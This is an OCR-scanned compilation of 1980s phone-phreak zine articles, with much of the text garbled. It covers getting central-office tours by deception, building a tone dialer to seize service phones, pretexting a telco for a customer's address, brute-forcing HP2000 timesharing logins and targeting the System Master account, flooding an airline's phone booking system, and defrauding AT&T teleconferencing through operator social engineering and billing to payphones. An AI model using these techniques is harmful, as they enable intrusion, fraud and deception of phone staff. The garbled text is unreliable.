Having spert a lot of time teashing owtside the CO. Ldecided it was time to see
what was inside. Well. the first idea that came to mind was to try and make my
own informal tour, This was impossible due to the magnetic lock on the door, 5o
my next thought was why not try to arrange a tour legitimately” Who would
expect a phreak 1o try that??

A call 1o the business office started me an my wav. They intern gave me the
phone number of the Public Relations people, who told me o send a letter to a
primary switching office in my area. Lanxiously waited [or several weeks. Then
ane day | received an urgent phone call from the teleo while 1 was out, Thinking
it was Bell Security. | became nervous. | called back but the person who called
wars out. S50 | had to wait, Sure enough he called back. | was very relieved when
he infermed me that he was calling about the wowr | had requested. | was also
surprised o [ind that he sounded like a reasonable human being, Weworked out
some details and et up a date for the towr. | now had 1o select the group to go
with me and prepare some gquesiions,

I could bring up 1o 10 people on the tour, My obvious [irst choice was my
phriend. The Shadow. The real problem was who else could | bring? 1 did not
want tolakea chance on someone saying too much and thus creating a problem.
S0 L chose several others, sticking to people who were just interested in the tour
because they wanted 1o know what the CO was, but werent smart enough to ask
cmbarrassing gueshons,

The Shadow and 1 spent several hours prepanng guestions 1o get the
maximum benefit from the towr. We found that those few hours we spent
preparing ourselves were well worth the time. We started with simple questions
to which we already knew the answers. These would lead to the more comples
and specific guestions. without revealing our true identities as
telecommunications hobbyisis.

After weeks ol waiting, the day of the CO tour arrived. We were ready!
Notehooks in hand. ready w record the commentary, we drove the familiar
route ko the OO, We looked nostalgically at the dumpster and thought, *No, not
now, later.” Upon arrival. we were forced 1o wait outside while our guide, the
System Manager. was being notilied. He finally appeared and greeted us
pleasantly. Much to my surprise, he did not look like 2 standard telcoemployee,
for be did not wear the obligatory Mlannel shirt, We entered the building and wook
the elevator o the switching room, | took control of the situation by BS'ing our
puide while The Shadow copied down anything he could find written on the
walls, ete. We were shown a #1 Crossbar Tandem and the ESS #1 A, which were
co-residents on the switching Moor. We examined the billing tape drives and
asked several questions as to the nature of the tape. After 20 minutes or so on the
switching floor, he took us to the Noor where the wirescame in from the outside.
While on this floor we also noticed a TSPS machine, of which he had liule
knowledge, since “that’s AT&T.” After asking a few more questions and taking
more notes, he gave me his number and told us 1o call him il we had any more
questions, We left our friendly tour guide and returned 10 our car parked
conveniently by the dumpster and drove off.

Some Facts

The tour was very informative, We had several misconceptions cleared up.
The first and probably most impartant thing eleared up by the tour was the
mystery of the hiffing rape! Exactly what does it contain? The tape contains
records of the following tvpes of calls: 0+, 1+ and 7-digit numbers out of your
lecal calling area. In other words they only record the numbers that you or
someone else will have to pay for { 1+800, collect calls as well), The tapes are then
sent to the hilling affice which handles the billing Tor hoth the local Bell and
AT&T. According to our guide. the ESS does nar keep track of every digit
dialed. This is not o say that it can’t be done, but that it would be impractical,
His OO handles well over a million calls a day, and if it were to keep track of all
the digits dialed. the storage requirements would be iremendous. Does the ESS
print out a list ol exceptional |+800 callers every day? The answer is no. the ESS
does not! But the hilling tape does contain records of 14800 wsage. and that type
ol processing may be done by the billing department. not the CO.

[During the tour, we were introduced to the ESS # 1A, Qur ESS is runninga #7
generic progrum. The #9 generic program is the revision that identifics the
number calling vou belore vou answer, 1t consisted of two equipment racks. cach
6% 10, Tull of printed circuit boards and 1C%. All of the boards were push-in,
pull-out for easy servicing. One might think from the description of the ESS tha
we have given that it does not reguire much space, The ESS processor does not
reguire much space at all. but the equipment that interfaces the local loop with
the call processor reguires guite a bit more. Unknown to most, the ESS £1A
consists of two independent processors that are constanily checking cach other.
They perfomm diagnostics il discrepancies do oceur. Phisisa technigue similar 1o

the one used by the space shuttles” computers except that it is more reliable. You
cannol shut down the ESS and put a whole town out of touch with the world just
because the computers don't agree, The ESS is programmed via magnetic tape
drives. The ESS stores the information about its confipuration and information
about vour phone line (special Teatures like call waiting. eall forwarding, speed
calling, touch or rotary dialing) on two massive hard drves.

Fiber optics are inuse! As my group discovered . they are bemg put on polesall
over the place. The cabling is called Light Guide and is made by Western
Electric. The transmission system used is called SLOC96 (Shick 9%6). This system
carries 96 simultaneous phone conversations on a single optic fiber. Our puide
unfortenately did not know more than the name of the system and its
capabilities.

How You Can Meet Your (0

You probably would like to know how you can armnge your owrn CO fomar,
¥ ou've spent all that time staring in, but now you're willing to meet all those nice
people inside. The first thing to do s 1o find a group o go with. The people at the
teleo are more likely o 12t a legil organization visit, rather than just a random
group of people. Having just one or two people show up will really make them
suspicious. Be sure to take along at least one responsible person to make it look
legit. Try groups such as the Boy Scouts, an Explorer Post, a school class, a
computer club, or simply come wp with a legitimate-sounding name (not the
Legion of Doom or the 2600 Club), This group should consist of peaple who
logically have an interest in the phone system - the Audubon Society might seem
a little out of the ordinary. The group should be inerested in electronics. A
hored group will want to move on quickly. despite your interest. Don't take only
phreaks, as the teleo may get suspicious. The person who altempis 1o set up the
tour should also have no record with Bell Security, as a routine check might be
implemented. Be sure o get a good mix of technical) nontechmcal peeple on the
tour,

Afer finding such a group. yvou should contact the local relephone company™s
public relations office. Companies are worried about their image, for people
tend to acquire an anti-big-business bias when they receive big bills. They will
jump at the opportunity to combat this prejudice, and will do their utmost to
ensurea our, even over the objections of workers. Setup a muteally convenient
time for your appointment and let your group Know,

Proper planning is the best way to maximize information gathenng,
Questions should be thought out in advance. The questions should start owt
non-technical, gradually progressing toward the technicalas the guide lets down
his, her guard. Be careful not to make the questions obviously phreak-oriented.
Ask about common knowledge and general interest subjects, such as equal
access, the AT&T split-up. fiber optics. and just how does my call get where it is
going. Remember. the gusde thinks be is showing around another growp of
idiots. Questions relating to phraud should be asked innocently. and with
references that vou have heard about this terrible, dreadful subject in the
popular media. Questions about blue boxing should yuote articles about general
phreaking and hacking. Newsweek articles, and “512.000 calling card bills
delivered via UPS™ news stories. Remember, vou dont wint to put him on his
guard, For better results, spread your guestions around for trustworthy (riends
to ask, [ont be stingy lor you don’t want all the atiention,

On the actual day of the tour, besure 1o bring along notebooks. Y ou will wam
to record this event [or posterity, and for your phriends, IF the guide comments
on your note faking, just say you are going to write a report for school or an
article for your club’s newsletier (sounds familiar). Take down any test or other
numbers you see on the wall, but try not to “borrow™ or you could be in big
trouble. We have heard, third hand, of some phreaks on a CO our who took
whatever they could down their shins. ete, After the tour they were taken into a
room where they were forced 1o disgorge all they had phound. 10 isnt worth the
risk 1o steal.

On the tour, conduct voursell properly, as vou dont want 1o stand out. Resist
the urge toanswer other’s stupid guestions yourself, Do not show off knowledge.
Omnly pently prod the tour guide on subjects you are interested in. The tour guide
will usually give vou his number lor further questions, Be sure to keep it. Muke
sure to leave a good impression so that fellow telecommunmications hobbyists can
wour the place in the futuare.

I'hese basic technigues can be used 1o get a tour at almostany location, Cither
places vou might consider are local AT&T Bell Research facilities. GE,
Northern Telecom manufacturing plants, or any computer center. Ona toar you
can casily pick up information that is difficult or impossible 1o lind otherwise, A1
the very least vou can get the type of switch your CO uses. For the mostaccurate
infarmation on your telephone system. go right (o the source, your local OO



what a white box can do

This article describes how to take a standard touch tone
keypad and convert it to a portable unit, This information is
essentiall ngh]:: dosain and was originally downloaded from
the old OSUNY BBS. It is also available on Sherwood Forest 1
and undoubtedly other BBS's around the world. It is bein
reprinted and explained here for those who are not able to ge
this type of information from BBS’s and for those who are just
starting out in the ghune phreak business, .

If you convert a touch tone keypad in the manner described
below, you will become more familiar with the inner workings
of your telephone and telephone systes. You will also be able
to use rotary phones to call extenders or phone services that
respond to touch tones, because now you will be able to
generate touch tones yourself without hivlnﬁ to depend on the

hone,  You will also be able to use payphones that turn off
heir touch tones after you dial your nusber. In addition
there are often phones 1n airports, hotels, and at .hani
sachines which have no dial on thea and automatically dial a
pre-prograssed nusber #usuallz a service nusber), which can be
used by someone with a portable dialer to enter a number or
nusbers before the pre-prograssed one starts to dial, thus
giinina control or causing a wrong nusber, It is often the
case that after the nuaber "dials or the error message ends,
the phone might eventually revert to a dial tone which can be
used, A portable tone generator like this is msore useful than
tapping the plunger on the telephone when no dial or keypad
are available, which takes patience and effort, If you
purchased a portable dialer, it would cost from $20 to 330
dollars, ood ones that reseaber 99 nuabers, are password
protected, and are smaller than a calculator cost $60 to $70
doilars, Often they are available fros_long distance services
for less, when you sign up for thes. The procedure related
below is a nice way to bring new life to an old touch tone
phone or kiygid. Please note that the building and the
general use of this device is legal and fun,

First of all, the tones sade by a touch tone telephone are
not single tones, they are a cosbination of two tones, making
"DINF* {dual tone multi-frequency). The normal tone telephone
dials 12 different signals, but is capable of dialing 16
different signals, . .

The power required by a wired kergad is about 25 volts, but
they will work with as little as 13, thereby allowing you to
use two 9 volt radio batteries. As you may have eatpastrami

2unllld. they are also designed to operate with a telephone
ype speaker (and phone linel, and not the standard & ohe
speaker which needs to be used for adequate voluse, To
accosplish this, we use a matching transformer, this is one of
those miniature ones available at Radio Shack.” Enough of the
theory, now for the circuit,

You will need:

A touch tone keypad

A miniature 1000 to 8 ohe transforaser
{Radio Shack ¥ 273-1380)

A standard B-chm speaker

Two 9-volt radio batteries

Two 9-volt battery clips

A case to put it all in (optional)

A few construction notes, it is suggested that you solder
and tape all connections, it_;n also isportant to read this
entire article before attespting to construct this. _
First, connect the RED wire of the transformer to either
terainal on the speaker. Now connect the WHITE wire from the
transforser to the other terminal on the speaker.  Next,
connect the RED (positivel wire of one battery clip to the
black wire of the other battery clip.  Now connect the
resaining RED wire on the second battery clip to the GREEN
wire from the touch tone pad. Connect the BLUE wire fros the
touch tone pad to_ the ORANGE-and-BLACK striped wire from the
touch tone ?id. To these two wires, now connect the resaining
black lead from first battery EIIE. You have now finished the
fnuer connection to the keypad. Connect the BLACK wire froa
he keypad to the BLUE wire on the transformer. Mext connect
the RED-and-GREEN striped wire fros the keypad to the BREEN
wire on the transformer, The BLACK wire on the transforser
should not be connected-to anything, along with quite a few
wires fros the keypad. The connection of the keypad is now
cosplete. All you have to do is connect two nine wolt
batteries to the battery clips, and you'll be ready to go. You
may want to mount it in a case for easy portability. Note
that the silver box modification CAN be sade to this unit,
allowing cosplete resote phreaking.  This is a bit wmore
coaplex than the conversion you have accomplished above. When
none of the buttons are pressed, this unit uses NO power,
thereby eliminating the need for a power switch, and extending
the lite of the batteries.



a phone phreak scores

This is another story to add to the annals of social

engineering, one which we all can learn from... o
few months ago IE Mom had some people refinish and

blacktop our drivewdy. 5o she called some companies in the
phone book, and she chose the cheapest one, TneI case and did
nost of tﬁg work, and Mom paid thes, prnv;ﬁin? hey came back
;ugn t? tinish the blacktnpp12g ob,  This all sounded fine
ut atter several weeks ot  the cospany cal lng up
postponing the final work, Mom wanted it done. She decided to
visit the company at the address listed in the phone book,
because she would always get an answering machine when she
called thea, but when she got there, she found out that it was
just the back room of a storefront and that the cospany had
vacated it a few months earlier. Mhen she tried calling thea
their nuaber had been changed. 5o I did a CNA on their new
nuaber for Mom, and she visited the new address that I got.
When Mom got to the new address she found a vacant lot. It
was at this point that it started to sound pretty fishy to Noa
and 1.  But how could we find out where they were, if they
gave a fake address to the phone company?

That's when It occurred to me to call the business office
that handles that company’s telephone. I called and they
answered: "Your numsber, please." 5o I gave thea the coapany’s
nusber, and 1 proceeded to tell thes how [ did not get ay last

hone 5i]1, and how I wanted to make sure they were sending it
o the right address. They told me the real nase and address
{not the one at CNA or Directory Assistance, which was the one
it was listed under, there is a difference, you know), they
asked if I was "Mr, So and 50," to which I responded “Yes.
Then they asked if 1 wanted to change the ||iiln% address, |
?ﬁidl 'Hu..thit’s sy partner’s address. Mo need to change it.
ank you. . i ]

And that was it, I found their address. Moa visited their
new location, which happened to be a trailer in the aiddle of
a big field with a telephone and a ﬂuunr cable going into it.
When” she found the people at the company, they were quite
startled, because it seemed that they did not have a license
to do the work that they were doing and had several other
customers and some government agencies looking for thea,
Since Mom had the goods on thes, they were obliged to finish
our driveway, and that’s all Mom wanted after all,



HACKING PACKARD

PREFAC
The purpose of this td‘nrii& is to give Egs ntia% hackers
useful information about Hewlett-Packard’s HP systeas, The
following notation will be uiEd Ehrn ahggt this tutorial:
> - carriage return, RETURN, E TER, etc,
EﬂP!TﬁL'LE??Eﬁgl :h;ri:%:r I:nnl;ni-t in exanplel
- r ut & user 1npu
AR TAPORRAT Gy 1P

Each HP2000 systes can support up to 32 users in a Timeshare
BASIC (T i? !nsyl 'Ient. ThEP g usually run a version o

Hewlett ?uhrd*?ﬁ‘?u;haﬁﬁﬂﬁmzaﬁgg

Once_ connected to a Qo0 B a num followed by @

R}« The systes should then r::’nnﬂ?ﬂithl HLEEEE LDL EH. I?rit
does_not illEHlilElE respopd keep on tryipg this procedure
until it does (they tend to be slow to rfignnd}.

User 1Dy The user id consists of a letter followed by 3
d1a1t5, eq, Hidl, .

assword: The passwords are from_ 1 to & printing and/or
nen-printing (control) characters, The fnlluu:ng characters
will NOT be found in in! ginsuurﬂs 50 dun'}_buth!r rr&nq thﬁl:
line delete (*X), null {4}, return {“M), line feed (*J), X-OFF

}y rubout, comsa {*L)}, "space ack arrow ({-)
undefscore | 1, HP also suggests that “E is not usedl in
passuords {hgl | haye seen it uns!] :

The logen format is:  HELLO-A12 . PASSHD Where: HELLD is the
login command. It may be abbreviated to HEL. A123 is the user
id_k PASSND is the password, :

The system will respond with either ILLEGAL FORMAT or ILLEGE
ACCESS de gndmzf upon whether Enu screwed up the l;ntlx or i
i5 an lnvEZIU usér id or password, The messages: FLE EE LOG IN
niuigﬁg FORMAT, & ILLEGAL ACCESS also help you identify HP2000

5
he systes glso respond with ALL PORTS ARE BUSY NON -

FLEHIEE_??EY mln LFITERP gr a sisilar message, Rne ufhnr
pesibility 15 NO TIME LEFT which means that they have used up
heir tise limit without paying. ; :

Unlike other 355t5.’ where you have a certain ampunt of tr1gs
}n login, the HP2000 system_ gives you ? :frtgln ime linit to
pgon before it duaps you, Thé systes default is 120 seconds (2
I%ﬂUl!!J. The Sfiﬁg can change it to be anywhere between 1 and
i ? . seconds,  though, In  my e:psrlggtf. 120 seconds s
sufticient time for trfin§ between ~20-30 logon attempts while
hand-hacking k a auch higher asount when “using 2 hacking
prograa, "

USE
The various users are iden}j¥i!d by their user id {(A123) &
password, lUsers are alsp identified hE their group. E;ah group
consists of 100 users, For example, AUOO thruuﬂ A 15 4
grnug, A100 through AI9Y is_another group, & I900 through 1999
15 the last p ] qruﬁp. The +first user id in ei;? ﬁruup is
e

[various Levels).

designated as”fﬂi rodp Master & he has certain privileges, For
ALOO, ., H200. .., & 1900 are all Broup Masters.
G00" 15 known as the System Master & he has the

es (besides the hardwired sysop tirlini?]. *hl
I:hr;rI assofiated with user Eﬂ?? can be UEE? to store a HELLD
prggra which is executed each time spmeone

1

5 on.
the best thing to hack on an HP2000 system 15 the § sten
Master IHG?U! aﬁcufn « It is also the only user id tﬂit HUE, be
on the !‘l ea, He logs on b trglnge HEL=-A000, PRSSKD, ;uu just
have to hack out his password, you decide to hack 1999, you
can create or change the HELLD Hrnqral to give every user your
own personal message_every time he “logs on' This is about all
you can do with though sincé it is otherwise a

non-privileqed account
ol ListoRy RgaMZOTION

Each user has access to evels of libraries: his own
private library, a qr?uﬁ ljbrary, and the systes ]1bragi. To
Eee ? at 1s in {hzgl ibraries you would type: Eﬁlaln?, Bug.

. LlBrary ra:pnct}veirltil _Coasands can Er abbreviated to the
tirst 3 letters). The individual user is responsible for his
own | grsra and maintaining all the files. If a program is in
your CATALUG, then you tfn cthange it,

mwpaﬂuﬂ )

Group Masters (BM) are responsible for controlling all
prograss in the Group_libraries. Only members of the Eruup can
use'these programs. These are viewed by typing & ﬂ??. For
example, user 5500 controls all pr r1|5 in the Group library
E¥ all users beginning with id S3dx. Other users in the group

ANNOT modify theSe prograss. All prﬂﬁrlll in_the groy rx Esry
are also in the & nut Hast Ei private library (CATALDE)
therefore he can ludlis hea! e EBrou Ht!t!r i&ib ha it:gii
to Erlﬂl]!qed comsands. They are: PROtect & UNProtect. With
FROTELT, the Broup Master can render a program so it cannot be
LISTed, SAVed, CSAved, PUMched to paper tape, or XPUnched. For
exanple, it }ﬁe EN t;ped PRO-NUNFUS, other users in the qrpur
woul EEHih g to RUN NUNPUS but thif_nuuld not be able ﬁn lis
it, The can remove these restrictions with the UNProtect

comsand.

There i exagtly one SYSLes Hooter 1440 and i id |
Ere 15 ¢ sten Master ano Nl1s USer 10 15§

nnaﬁ. He ranlsﬁﬂkEE HI URPROTECT programs in the Sfi!il

exanple, A0OD,
The user id
aost privileges

available in full on Sherwood Forest 1L

by EBioc Agent OO0

Library.

All ‘users have access to these files b ing LIBRARY t

yiew then, Only the Cystea HI!}EF can lbﬂif¥_tﬁgi=qfi 25 !int:

R M AR e L T L
i 2 alsp Ras ac o other privy comna

Such ot DIRECTORY: Fif s Spaccese Lo sther privileged conn :;@

prograas ltnr!d on the systea accordin

DT Rt out the. entire. girsctory. DIR-Go00 will Shart'liotingIh
ou + DIR- will start listing the
directory with user Sg 0. E::I;l.: '
BOCE ﬁg | g?é;a# Ei
DRUN
o g i il s,
BCKGMN 033/84 O §6+ 001526
FP éHT 0a3/84 00587 ﬂﬂgg??
8T E Dgﬂfﬂl 04332 002751
TFILE 0 ﬁfgi F 00028 002804
WUMPUS 053/84 P D%gig 003142
B451 EthEK ii&f?ﬁ 03088 011887
LF l&f?i 02173 01171l
5300 BIS 050/84 C 03}20 0190561
BISCLY 050/84 F 03741 ﬂ!?;??
1999 HELLD 021/84 00058 011843
in this E;ilElE, he systea name is BOCES ED 1, The date of
t?rthsMﬁMh?ﬁIHHMMMNHMUHH
12:45 (24-hr). The files aEpairlnq_und!r ADDO are those in the
Systen Llhrfry I?e DATE agsociated with the program is the
date it was last referenced, The LENGTH is how long it is in

unrgs* DISC refers to its stnri?l block location on ofe of the
hard drives. fﬂ?ﬂ refers to its location on the drum storage
unit, Only sanctified prograss are stored on a drum to increase
their access time, The lefters after the date refer to F if it
is a file, P seans it is protected, and C means the Eruqral is
cospiled.  In _the example the EI’ET' Eruaial, WUNPUS, was last
used on the a rd day of 1983 (2-22-B4); it Qs currently
unlistable {PROtected) and it ?c:up195 2636 words of mempr
starting at disc block 3142, The comsand SDIrectory will pr1nI
out prograas that are only stored on drus. st systea
directories are usually longer thin the example. The ih?vl
i!ilﬂlﬂ is an abridged version of a 43 page directory! he
{EREAK> key will STOF the listing if necessary,

REP
The REPORT command will show the USER id, how much terainal
TIKE they have used since the last billing period (in minutes),
and how such disc SPACE they are using., Example:

??EES ED 1 055/84 }Fﬂs
ID TIRE ?Eﬂgﬁ 1D TIME_ SPACE ID TIME EPAEE
0 0Li50 126 g fl 33093 8536] BEs4 00000 DO00D
0 00235 ObB&l 55 421 00000 1999 00000 00058
The advantage of hacking the A000 password first is that you
can usﬁ the privileged comsands to see which wser id*s exist
and  what Frnqrals are stored where so that you can further
penetrate the srttaq i I
DTE! There are 1i+irlnt levels (versions) of TSB/2000. This
article is ~ based prllarilz on Level F. Nost of the levels
are sinilar in their comsands so the differences should not
aftect the hacker. Also, scme lyiﬁlla E e customized. Eq, one
gysten 1 knpw “doesnt have the KE connand becausé’ they
don’t gant the operator FnEh red Eﬁth pessa !i' nother sy t11
s 7 dnstegd of HERSE LIS 1K an? LLEGAL instedd o
ILLEGAL ACCESS. These are na E Eahgll probleas, though,

.Heulet}—Fitiird often supplies prograss from their TSH
L%brary or the lyttlis+ u%x 1t’f’ such as ASCIIS FPE{HT &
others are illﬂa ineyitably found En BYEFY & stes. Standard
games such as MUNFUS, v LUNAR sany others are alsp a

srsteg sust." Other Enlpgn;es offbr very large prograss for
the HP2000 alsoc. 6I5 VGuidance Information Systéms) is a
database to help ‘quldanfe counselors  help students to select
colleges, jobs, financial aid, etc. gis 15 usually found in the

X %rnu{ ]1hriry (anyone with an S5kx password can use it).
Unforfunately, son fil!! these programs are set so that a
certain Enssunrd Will automatic N thea. In soae EI!!; ;uE
can abor hE ¥re551n2 the <BRERK) EIE }here is a BAS]
function [X=BRK10}] that disables the (BREAKD key, R his
tase, only the stnf or the progras can throw you into BAGIC,

here are many alleged bugs on the HP2000 that allow users to
gg l:%lu:niﬁ; ot things. I you run across any of these be sure
M.

Wost of HP2000 systems are used by schools, school
districts, %HEES, angd arrnug businesses, Thf; Was _an ideal
systea for schools he,uia micro- cosputers existed, Ihﬁ HPgﬂﬂﬂ
:yi}ll hag hEen in_existence since tt?¥“d 197 IE a5 been
replaced by the HFE??D hu% there are sti Iing HP2000 s 5%!!5
in existence & | believe that they will stay there for awhile.

Here are }hi dial-ups_to__a few HP200 ;Iisgla to_get you
started: [203/5 2-19?!} 5EI?£???-7bﬂﬂJl, (3 -B1701,

b - TS s 1 t, Then hit

= o WYL, e at the prompt, Then hi
the <BR iﬁ} key E?gnlr until ruzpsee the hl:EilEihlpill prospt.
You are then in.

{2143591517)



People Express To Be Hacked To Pieces

by Paul G. Estev
If a business is starting a new, expensive

touch-tone interactive phone service, it
should assess its real usefulness. New
systems should be tested by the real users
as well as the system creators. All too
often, businesses do not notice that their
systems have fatal flaws ar Aare user
unfriendly.

People Express, the growing economy

airline {economy carrier) has started such a
new service that has many of the worst
features of any Tone Activated Service
{TAS). Other services like this are George
Bank By  Phone, IEM-Audico Distribution
System, and Mobil Credit Check,

The new service is called "Pick Up & Go"
and has been described in detail in recent

advertising. It is a system where anyone
could reserve airplane tickets for any
People's flight using a telephone.

Originally developed by AT&T, Pick Up & Go
should be going soon.

This service is in many waye like other
TAS's, but unlike a voice-mail system, there
'is no real reward for exploring this system.
With wvoice-mail systems, people acquire
accounts which they can use. In Pick Up &
Go, there are no free plane tickets to get,
because you can only book the flights. The
tickets must be icked up at your
flight...and paid for then. Yet, it is an
example of poor design using this now common
technology, which integrates phone systems
with data lines-in this case, the reserva-
tion computers.

People Express is known for their low

prices, whic gives them the competitive
edge to be known as the fastest growing
airline as well as good investment. This
also has its drawbacks. prices means
low incentive for travel agents to book
flights on the airline. In addition,
People's is well known for overbooking
flights while expecting many of the
potential passengers to not  show up.
People's instituted this service so they

could get around the travel ent problem.
But it is expected that they will heve more
of the same problems with the booking of

fliﬁhts. if not more of different
problems. ..

This is how the system works: As with
most TAS's, there is a voice that asks for

touch tone input as to what date, time,
flight, etc. you wish to take. At first, a
female voice asks you for a seven digit

identification number which you can make up
(they suggest that ¥nu enter your phone
number, so it is easy for you to r er).

You tell the people at People Express this
number when you pick ug the tickets, so they
know that it is really you who made the
regservation. In effect you are just giving
them a password. S0 you enter your seven
dlglt code then a '#'. (Remember, you enter
a '#' after each command, and mmbers can be
either one or twoe digits. You will be

rompted by the wvoice for each entry.}).
ghen you enter the month you wish to travel
then a '#'; then the date you wish to
travel; then the coding for the airport ou
wish to leave from; your destination; then

the number of tickets you want; then your
deaired departure hour. (Follow the hour by
an 'a’ or a 'p' for am or pm. After this

prompt the voice will tell you the two
closest flights to the hour you indicate.
It will alaso check to see if any seats are
available at this point.) Finally, wvou
enter the flight you desire. You are then
told the price of the flights wou have
booked. At this point you are looped back
to the beginning, where vou can hit a '#' at
each prompt and it will ‘ditto’ your
previous entry. You can book up to 5 seats
per code, but you are able to enter a new
code when you loop back, in order to book
ten, a hundred, or even thousands of
flights, if you are patient and devious.

Note again that you do not an for your
tickets until you get to the plane, nor do
you even tell them who you are, in fact you
cannot if you wished to. In addition there
is no provision to cancel reservations, you
cannot do this if you wished to either.

This system will allow anyone to reserve
almost any number of tickets on any flight
leaving in the next two months or so. You
can book a flight anywhere, even to London
{code-549). This is the way things should
be for travelers, fast and easy, but People
Expreas is just waiting for_ people, travel
agents, and other airlines to take
advantage. United Airlines could book whole
planes and clog up People Express just by
making a phone call. :

It is predicted that this system will be
gone quite quickly, or the software will be
changed but this takes time as we all know.
If they do not do away with this system,
there should be a commotion about hundreds
of people waiting in line for empty flights.
%gl ;uu wish to try out this system, call

69.0205. Some airport codea you may
need to know are: 397-Newark, 29-Los
A.ngeles, B26—0rlands, T743-St. Pete. The
codes  correspond to the three-character
ﬁnitiala that every airport in the world

as.
There are a few more things you can do

after {uu are done booking wyvour flight, like
¥H#-Help, *B#-discard last entry, *D#-Delete
last reservation request, ¥R#-Review current
reservation, *L#-Review all your confirmed
reservations. At this last gru t vou can
use the following commands: D#-Delete, EK#-
Ke$£, X#-Exit this function. )

e system itself is fairly user friendly,
but the female voice should tell you about
the help function ou should not have to
read about the heip unction in a newspaper
advertisement. The voice should also note
that yvou must enter a '#' after each entry,
but it only does this after you make an
error. You should also be provided with the
list of airport codes (Actually, some are
Eas¥ to tind yourself: DEN-336-Denver, SYR-797-Syracuse.). IFf People's
really uishes to encourage the systea’s usage, it should also have a toll
free nusber. In the end, this service will result in confusion and reduced
service, as well as longer Tines at the tersinals. Those o have taken
Peoole Express flights have both regretted and cose to depend on over-
booking.  And there will be overbooking: by pesele who want to play with the
systes, by people who make sistakes, by people who do not wmind booking a
flight just "in case’ they plan to travel, by travel agents who custosarily
book hundreds of tickets, and _b{ coapeting airlines who wish to do People
Evpress wrong.  This service will do nothing but increase the problea. It
mmmmwﬂmhﬂﬁmmMmemwmmﬂmﬁIHS
surely a pity that big cossanies do not have real people test their new
technology for thea. Marketing consultants and prograssers just seea to
forget that 1t 1s people who use the products in the end. It will be people
who sake mistakes using their new systes, and it will be people who will
take advantage of this new systes.



How to run a successful teleconference

The Shadow

Alllance Teleconferenclng Service is a
bndg service offering teleconferencing
usinesses. A conference merely is
several phone lines tied together allowing
peap]e to talk to many locations at once.
liance is wned y_AT&T Communications.
The use #4 ESS8’s (Electrcnlc Switching
Systems) to _control their conferences.
According to Alliance, conferences can be
originated and controlled from most loca-

tions in the United States, The service
started out in area code 202, but has been
One thing

thrsughnut the cuuntl‘g
¢ is that even in same area
ccde some: central offices will allow access,
and others may not. Conferees can be from
anywhere dmlahle by AT&T, includin, inter—
national. Alliance can'be reached at B00-
-544-6363 for social-engineering or for set—
ting up conferences in locations that cannut
access Alliance directly. smf this the
conference can be billed to a Calling Card
or to a third number.

Alliance says the cost of a teleconference
is 25 cents  a line per minute, as well as
the cost of a direct dialed call for each of
the locations from the conference site. .A
mamtormg Alliance operntor costs an add.
tional an_hour, Thus, rumors of $6, 000
conf‘erem:e bills seem a little exaggerated,

However, conferences can last for several
days and can have several international
up-

participants, thus running the bill
REN(

Dialing _ 0-700-456-X00X will result in
"This is_Alliance Teleconferencmg in [loca-
tion].- You may d]al dur:\ng the announcement
for faster setup. 'he main conference
numbers are —100X and -200)(. The locations
indicated by the X (as gwen by Allmnce and
the logon recordings being Los
Angeles, 2 being Chicago, 3 being White
Plains New York, and 4 being Dallas. 0 gets
you the conference site closest to you The

-100X lines only a:cept up to 21 conferees
and  usually don't allow international
dmlmg The other conference numbers allow
up to 59 lines when available as the lines
have to be apportioned between the
conferences going_at he site, and also
allow international dialing. According to
Alliance themselves —200X are graphlc con-
ferences, ~100X allows up to 29 conferees,
and both aluays allow international dialing.
However, actual exploration doesn’t bear
these out.

Alliance doesn’t seem to admit that -300X
conference ix is frem 0 to 2, all located in

various

Chicago, Illincis) numbers even exist.
These conferences announce that they are
%rsphic, eand they seem to bear this out.
‘hey can also be handled as an audio con-

ference The only difference is_that it
asks when adding conferees whether the loca-
or audio (hit 5).

tlon is grag}ucs (hit
It's generally best to choose audio. These
tend most often to allow the passing of con-
trol, dialing of international calls, and
are also less used than the other lines.
Dialing 0—700—456—1503 or -250X results in
a modem connect sounding tone, followed by
"You have reached Bell System Telecon-
ferencing Service’s Special Set for testing
and measurement. lease enter your servlce
code [3 digits] or wait for instructions.”
These cannot be reached from most area
codes, resulting instead in a "The number
you have dialed cannot be reached from your
calling area” just as if it were an 0
number not reachable from your calling area.
The only one I know that does E:t through is

201 SNorthem New Jersey). X goes from

, Jjust like the normal —100X and —200X
conferences. There is no -350X series. I
hauen t as of yet figured out the "service
code. " his" can be used as a normal con-—

!‘er‘ence. except that it requires you to con—
firm your choice by voice, and each section
is separated by those modem connect sounding
tones. Rumors are that this is the upcoming
new conference system, which is supposed to
add features such as the deletlon of con-
. However keypress I have tried
other than 1, 6, or 9 (the normal controls)
results in a dire warning telling me "Please
wait for an Alliance operator to come to
your assistance.” I yet stuck
around long enoufh to f‘md out what "assis-—
tance" means. won’t admit these
exist, and therefure the -150X and -250X
:arrant much further and deeper investiga-
ion.

Alliance can reached by other means.
213 080-0123 and other direct
Alliance machines (which used
way to get through) no longer
work. However, box routing to 0-
77[)04456—!(00)( does  work! PBX's _in con-
ference cou.ntry are often usad to call con-
ferences, dial a PBX's inward access
line, enter the access code, dial an_outside
line, and then either touch tone 0-700-456-
—x00% yourself, or dial and get the
operator to do it for you. Sometimes they
insist that the 0-700 SAC doesn’t exist, bu

just remain firm and tell them to try
Sol:u:l engmeermg ‘also works, just call
operator and try to convince her to KP+()—

DH~455—1000+ST and position release, after
gettmg her to believe you are maintenance/
whatever.

inward operator :mcreasea the l:hance of
succeeding, such as by dialing 0-959-1211
from a pay phone (BIOC Agent 03's Basic
Telcom VI, discovered by Karl Marx) Another

trick sugdested by Shooting Sharkis to use a
white boxable phone or evenan ATM helpline or a
hotel phonein an airport.Since when arranging
a conterence you really don’t need to speak,
Just set up a conference normally, and when
done call another payphone nearby, pass con—
trol, and continue. The conference will
stlli be charged to the first pay phone.
Several techniques are _available to
rove the quality of the call. Since the
ca 1 may be going through up te several
extenders to reach a non-800 PBX, and from
there to Alliance, the signal quality can
ﬁEt quite poor. A technique that helps to
eeE Alliance from kntmm§ your pumber is to
add in the lower
end of a F\’ pass control to it, and then
call the hlg end. variation on this
techn:que is to call your other line or a
ﬁhnne next to yn?i or even, if you have

waiting, to call yourself again, pass
control to yourself (it works), and then
ﬁn the original call, All  these
techniques may not always work, as sometimes

Alliance refuses
tioned above,
CONFERENCE CONTROLS

Alliance is extremely user friendly, as it
was designed for businessmen. Help messages,
abound, and all you need to do is to follo
their directions, but here is a brief goin
over of the comsands. After the logon recordmf choose the nuaber of locay
tions for your conference. Chonse below 15 locations, as many people unq
